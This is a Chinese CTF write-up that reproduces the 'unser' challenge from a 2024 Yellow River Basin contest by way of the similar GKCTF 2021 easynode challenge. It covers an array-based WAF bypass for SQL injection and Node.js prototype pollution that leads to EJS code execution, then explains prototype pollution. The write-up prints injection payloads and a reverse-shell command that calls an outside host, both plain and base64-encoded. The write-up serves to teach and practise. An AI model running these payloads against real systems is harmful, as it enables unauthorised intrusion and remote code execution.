2024黄河流域比赛的复现

目录

WEB

[GKCTF 2021]easynode

unser

知识点


WEB

根据此题先复现[GKCTF 2021]easynode这个题,这两个题类似

[GKCTF 2021]easynode

1.打开页面发现是登录页面,找到源文件里面的代码,分析如何进行登录,发现经过safeQuery()函数处理,如果result[0]不为空则登陆成功返回token

app.post('/login',function(req,res,next) //这行代码定义了一个处理 POST 请求的路由,路径为 /login。当客户端向这个路径发送 POST 请求时,会执行后面的匿名函数next。
{
    let username = req.body.username;
    let password = req.body.password; //这两行代码从请求体(req.body)中提取用户名和密码。
    safeQuery(username,password).then //safeQuery` 很可能是一个返回 Promise 的函数,用于安全地查询用户名和密码是否匹配。这个函数可能涉及到数据库查询
     (
        result =>{
            if(result[0]){
                const token = generateToken(username)
                res.json({
                    "msg":"yes","token":token
                });
            }
            else{
                res.json(
                    {"msg":"username or password wrong"}
                    );
            }
        }
    )这部分代码是 safeQuery 函数的回调函数,它处理查询结果。如果 result[0] 是真值(可能是表示查询成功),则调用 generateToken 函数生成一个令牌,并将其与消息 "yes" 一起返回给客户端,并会出现token的值。否则,返回错误消息 "username or password wrong"。
.then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
  }) //catch 部分用于捕获并处理任何在上述过程中发生的错误。如果发生错误,它会向客户端发送一个错误消息 "something wrong!"。

2.由于这里出现了safeQuery()函数,所以去找相关信息,在这串代码中我们发现遍历黑名单进行匹配是弱等于,那么我们可以用数组绕过

let safeQuery =  async (username,password)=>{
//这里定义了一个名为 safeQuery 的异步函数,它接受两个参数:username 和 password。
    const waf = (str)=>{
        // console.log(str);
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    } //这个函数接受一个字符串 str,然后检查它是否包含 blacklist 数组中的任何字符。如果包含,它会将该字符替换为 *。简言之就是会把username和password中的\ ^ ( ) " '字符换成*

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){
            
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
        
    }
    return str;
    }
//这个函数的目的是遍历输入字符串 str 的每个字符,并检查 waf 函数是否将其替换为 *。然后将*添加到对应被替换的位置,然后str用加号进行拼接并返回
    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));//代码尝试使用某种 format 函数(该函数在这段代码中并未定义)来构建 SQL 查询。它限制了用户名和密码的长度为前20个字符
    // console.log(sql);
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}//代码首先等待 select 函数执行 SQL 查询,并将结果转化为 JSON 字符串,然后再将其解析回一个对象。

3.但是在利用数组绕过的时候发现后面调用substr会报错。所以我们就要利用js的特性,当数组相加时会转换成字符串,利用这个特性,手动添加一个在黑名单的字符(位置在哪都行),括号被替换发生了字符串相加,payload如下:

username[]=admin'#&username=1&username=1&username=1&username=1&username=1&username=(&password=123456

为什么中间要填那么多1:如果中间字符太少遍历完数组后又依次遍历每个字符,导致单引号被替换成星号

4.进行抓包,发送请求,得到token的值

5.观察源代码,发现在/adminDIV路由中存在原型链污染

app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token
    
    var data =  JSON.parse(req.body.data)
    
    let result = verifyToken(token);
    if(result !='err'){
        username = result;
        var sql ='select board from board';
        var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); 
        board = JSON.parse(query[0].board);
        console.log(board);
        for(var key in data){
            var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
            
            extend(board,JSON.parse(addDIV));
        }
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
});

存在extend函数造成原型链污染,用json格式的addDIV去污染board

6.观察一下

var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
            
            extend(board,JSON.parse(addDIV));

发现是想让{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\"');var __tmp2"}} 进行 extend 操作,所以我们就需要让 username 等于 __proto_,想要这样,就需要创建用户,就回到/addAdmin路由,所以我们就需要admin的token

app.post("/addAdmin",async (req,res,next) => {
    let username = req.body.username;
    let password = req.body.password;
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
        var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
        console.log(sql);
        select(sql).then(close()).catch( (err)=>{console.log(err)});
        res.end('add admin successful!')
    }
    else{
        res.end('stop!!!');
    }
});

7.接收参数username和password进行数据库插入数据创建用户,前提是需要有正确的token。

我们利用刚刚得到admin的token去创建用户__proto__

8. 然后在login去登录,成功得到token值

由于反弹shell可能出现编码问题,我们base64加上url编码一下

data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzU4MjY1IDA%2BJjEi|base64 -d|bash');var __tmp2"}

 成功污染

9.然后找到调用ejs模板的/admin路由

app.get("/admin",async (req,res,next) => {
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        username = result
        var sql = `select board from board where username = '${username}'`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close())));  
        board = JSON.parse(query[0].board);
        console.log(board);
        const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
        res.writeHead(200, {"Content-Type": "text/html"});
        res.end(html)
    } 
    else{
        res.json({'msg':'stop!!!'});
    }
});

找到调用处

const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})

10.board参数已经被我们污染了,也就是说只要username为__proto__就行,往前看可以知道是由token决定,所以访问/admin路由,修改为__proto__的token发送即可

11.得到flag

 

unser

 1.数组绕过,从而sql注入进行用户名admin登录,拿到session以后进入第二层:

username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=*&password=1

2.传参token,token只要是object就可以,两边都是undefined就通过了,得到flag:

token={"__proto__":{"flag":"1234"}}

知识点

资料:js原型链污染(超详细)-CSDN博客

JavaScript原型链污染原理及相关CVE漏洞剖析 - FreeBuf网络安全行业门户 

【网络安全系列】JavaScript原型链污染攻击总结_shvl-CSDN博客 

浅析javascript原型链污染攻击 - 先知社区 (aliyun.com) 

1.JavaScript 常被描述为一种基于原型的语言 (prototype-based language)——每个对象拥有一个原型对象,对象以其原型为模板、从原型继承方法和属性。原型对象也可能拥有原型,并从中继承方法和属性,一层一层、以此类推。这种关系常被称为原型链 (prototype chain)。

2.可以看到,person是一个Person类的实例,有四个属性:name、age、gender、proto。其中,前三个是我们构建函数中定义的,第4个属性proto就是Person.prototype。

参考下图:
 

3.原型链污染:

在JavaScript发展历史上,很少有真正的私有属性,类的所有属性都允许被公开的访问和修改,包括proto,构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto,构造函数和原型属性。然后,所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致拒绝服务、篡改程序执行流程、导致远程执行代码等漏洞。
原型链污染的发生主要有两种场景:不安全的对象递归合并和按路径定义属性。 

4.

  1. 原型的定义:

    原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承

    (1)所有引用类型(函数,数组,对象)都拥有__proto__属性(隐式原型

    (2)所有函数拥有prototype属性(显式原型)(仅限函数)

  2. 原型链的定义:

    原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。

  3. 原型对象:

    在JavaScript中,声明一个函数A的同时,浏览器在内存中创建一个对象B,然后A函数默认有一个属性prototype指向了这个对象B,这个B就是函数A的原型对象,简称为函数的原型。这个对象B默认会有个属性constructor指向了这个函数A。

相关推荐

  1. TextCNN

    2024-06-15 07:38:01       39 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-06-15 07:38:01       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-15 07:38:01       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-15 07:38:01       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-15 07:38:01       18 阅读

热门阅读

  1. docker 拉取镜像拉取超时的解决方法

    2024-06-15 07:38:01       10 阅读
  2. 分布式管理

    2024-06-15 07:38:01       6 阅读
  3. 力扣23. 合并k个升序链表

    2024-06-15 07:38:01       5 阅读
  4. 数据分析------统计学知识点(五)

    2024-06-15 07:38:01       7 阅读
  5. 甲辰年五月初九夏风思

    2024-06-15 07:38:01       3 阅读
  6. Scala的字符串插值

    2024-06-15 07:38:01       6 阅读
  7. 算法刷题笔记 区间合并(C++实现)

    2024-06-15 07:38:01       7 阅读
  8. React小记(一)_基础部分

    2024-06-15 07:38:01       6 阅读
  9. 网络安全练气篇——PHP编程语言基础

    2024-06-15 07:38:01       6 阅读
  10. 神经网络保存-导入

    2024-06-15 07:38:01       8 阅读